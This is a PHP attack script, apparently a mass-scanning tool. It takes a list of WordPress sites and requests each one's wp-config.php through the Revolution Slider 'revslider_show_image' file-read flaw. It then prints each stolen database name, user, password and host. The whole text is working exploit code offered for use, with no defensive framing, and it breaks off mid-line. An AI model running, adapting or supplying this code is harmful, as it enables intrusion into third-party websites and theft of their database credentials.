Error File

error_reporting(0);
set_time_limit(0);
$ya=$_POST['comeon'];
$co=$_POST['sitessss'];

if($ya){
 $e=explode("\r\n",$co);
 foreach($e as $bda){
	//echo '<br>'.$bda;
	$linkof='/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php';
	$dn=($bda).($linkof);
	$file=@file_get_contents($dn);
	if(eregi('DB_HOST',$file) and !eregi('FTP_USER',$file) ){
	echo'<center><font face="courier" color=red >----------------------------------------------</font></center>';
	echo "<center><font face='courier' color='#00BFFF' >".$bda."</font></center>";
	echo "<font face='courier' color=lime >DB name : </font>".findit($file,"DB_NAME', '","');")."<br>";
	echo "<font face='courier' color=lime >DB user : </font>".findit($file,"DB_USER', '","');")."<br>";
	echo "<font face='courier' color=lime >DB pass : </font>".findit($file,"DB_PASSWORD', '","');")."<br>";
	echo "<font face='courier' color=lime >DB host : </font>".findit($file,"DB_HOST', '","');")."<